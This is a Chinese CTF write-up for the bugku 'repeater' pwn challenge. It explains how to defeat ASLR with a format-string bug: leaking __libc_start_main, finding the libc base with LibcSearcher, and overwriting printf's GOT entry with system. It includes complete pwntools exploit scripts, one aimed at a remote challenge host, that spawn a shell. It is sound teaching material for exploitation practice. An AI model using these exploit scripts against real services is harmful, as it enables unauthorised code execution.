前面的学习测试中,一般都是关闭了地址随机化来测试以及学习的。但是一般情况下,除了基址,其它的地址一般都是开启了随机化保护的。
0x00 准备工作
0x01 pwngdb&pwndbg
peda的插件虽然好用,但是pwn专属的调试插件会更好用。安装教程如下:
pwngdb
cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git
cp ~/Pwngdb/.gdbinit ~/
pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
避坑
在home目录下的.gdbinit文件里面是没有pwndbg信息的(如果安装的时候没写进去的话)
vim ~/.gdbinit
然后写入
source ~/pwndbg/gdbinit.py
然后按照如下内容进行修改即可,顺序最好和以下一致,以防出现意外。
然后测试一下:
使用方法&参考资料:
0x02 repeater
这次使用bugku的pwn题 repeater,是比较高质量的题目案例。
0x10 绕过地址随机化
0x11 分析思路
保护检查,只有NX
IDA查看
这个可以看到是格式化字符串的漏洞了,但是程序中没有system函数所以没有基址。
0x12 攻击思路
- 在程序运行过程中查找到
system
函数以及地址 - 获取
printf
函数的got表地址 - 劫持
printf
函数为system
函数 - 执行
system('bin/sh')
关键就在这一步,怎么在程序运行中找到system
函数的地址,可以使用gdb调试然后找到system
地址,但是运行就会发现报错,这是因为程序每次运行地址都是随机化的。这里我们找的其实就是程序加载的libc文件中的system
地址。所以需要先找到程序使用的libc文件,使用如下命令
ldd ./pwn7
得到 /lib/i386-linux-gnu/libc.so.6
,此时就可以很轻松的得到libc中的函数的偏移(使用pwntools分析elf文件的方式)。
libc加载运行时,它的内部的函数的地址偏移量是不会发送变化的,elf程序运行时会虚拟化一个地址(libc的基址),然后分配给libc,从这里加载并运行libc文件,但是libc作为一个整体是不会被打乱拆散的。所以现在就想办法到libc_base即可。
0x13 调试程序
- 使用b printf在printf处下断点(原因见下文)
- 输入r执行程序
- 程序提示用户输入
- 输入任意内容后回车
- 此时程序运行到printf语句停止
输入stack 50命令查看栈情况
- 可以看到,在0xffffcf50处为之前输入的flag
- 在0xffffcfdc处为libc_start_main+245
- 使用fmtarg 0xffffcfdc算出偏移,此处知道了为%35$p
程序停在了printf
函数,此时的栈刚好就是函数调用的栈内偏移的情况,所以如果不使用fmtarg的话,可以看到0xffffcfdc处最左边是行数(也是栈偏移量),可以得到0x24 = 36,所以是%35$p,所以可以通过输入%35$p
来泄露libc_start_main的地址。
使用libc_start_main的地址减去libc_start_main在libc中的偏移就得到了libc_base。
0x14 pwntools实现
#coding=utf-8
from pwn import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
p = process('./pwn7')
#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
libc_start_main = int(p.recv(8),16)-245
#此处使用ldd pwn7查看本机使用的libc
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base = libc_start_main - libc.symbols['__libc_start_main'] #libc基址
log.success('libc_base \t: ' + hex(libc_base))
system = libc.symbols['system'] + libc_base #此libc的system地址
log.success('libc_system\t: ' + hex(system))
#获取文件的printf的got表地址
elf = ELF('./pwn7')
printf_GOT = elf.got['printf']
log.success('printf_GOT\t: '+hex(printf_GOT))
#格式字符串漏洞套路,分段
ch0 = system&0xff
ch1 = (((system>>8)&0xff) - ch0)&0xff
ch2 = (((system>>16)&0xff) - ((system>>8)&0xff))&0xff
ch3 = (((system>>24)&0xff) - ((system>>16)&0xff))&0xff
payload = "%" + str(ch0) + "c%18$hhn"
payload += "%" + str(ch1) + "c%19$hhn"
payload += "%" + str(ch2) + "c%20$hhn"
payload += "%" + str(ch3) + "c%21$hhn"
payload = payload.ljust(48,'a').encode()
#改写printf的got表,把prinf的got表改为system地址
payload += p32(printf_GOT)
payload += p32(printf_GOT + 1)
payload += p32(printf_GOT + 2)
payload += p32(printf_GOT + 3)
p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()
构造payload这里是进行byte写的,将地址放在最后面,但是可以会造成地址未对齐,所以使用ljust方法进行填充,简单分析:
一个byte最大为0xff(256),所以 str(ch*)
的位数为1到3,按照最大值3计算,每写一个byte需要构造的payload长度为 len("%256c%18$hhn") = 12
,所以四个byte需要 4 * 12 = 48 个字节的长度,在32程序中,4个byte刚好是一个参数的长度,48bytes则是12个参数,栈传递到输入的值则是%6$p
(可以使用fmtarg或者一个一个输入测试),所以填充到48之后,参数就是从%18$p
开始了。
此时,就成功绕过了地址随机化的问题。
0x20 LIbcSearcher
在本地成功了,但是如果换成远程连接的话,就又会出错了,因为每台主机使用的libc文件不一定是相同的,libc的版本非常多,只用你自己的libc文件去撞其他主机,成功的可能性是很低的。这就需要用到另一个工具:LIbcSearcher。
0x21 安装
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
0x22 使用方法示例
libc = LibcSearcher("gets",gets_real_addr) #通过泄露的函数的地址来查找可能的libc
libcbase = gets_real_addr – obj.dump("fgets") #libc基址
system_addr = libcbase + obj.dump("system") #system地址
bin_sh_addr = libcbase + obj.dump("str_bin_sh") #/bin/sh地址
0x23 exp
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
#远程环境
p = remote("asteri5m.icu",10000)#bugku环境要金币,所以我自己搭建了
#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
#本地是减245没错,但是远程就会失败,查找不到,百度其他师傅是247,嗯……很怪
libc_start_main=int(p.recv(8),16)-247
#查找可能的libc
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main') #libc基址
log.success('libc_base \t: '+hex(libc_base))
system=libc.dump('system')+libc_base #此libc的system地址
log.success('libc_system\t: '+hex(system))
#获取文件的printf的got表地址
elf = ELF('./pwn7')
printf_GOT = elf.got['printf']
log.success('printf_GOT\t: '+hex(printf_GOT))
#格式字符串漏洞套路,使用fmtstr_payload快速构造payload
payload = fmtstr_payload(6, {printf_GOT : system}, numbwritten = 0, write_size = 'byte')
p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()
搜索到6个可能的libc,选择第二个即可
成功cat了flag
0x24 fmtstr_payload
fmtstr_payload 是pwntools里面的一个小工具 ,简化格式化字符串payload的构造
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
fmstr_payload 的官方文档 : https://docs.pwntools.com/en/stable/fmtstr.html
0x30 总结
- 找到libc_start_main在栈内的偏移,使用%p暴露该地址
- 利用LibcSearcher猜测使用的libc,算出libc基址
- 计算出此libc的system地址
- 把prinf的got表改为system地址
- 执行system(’/bin/sh’)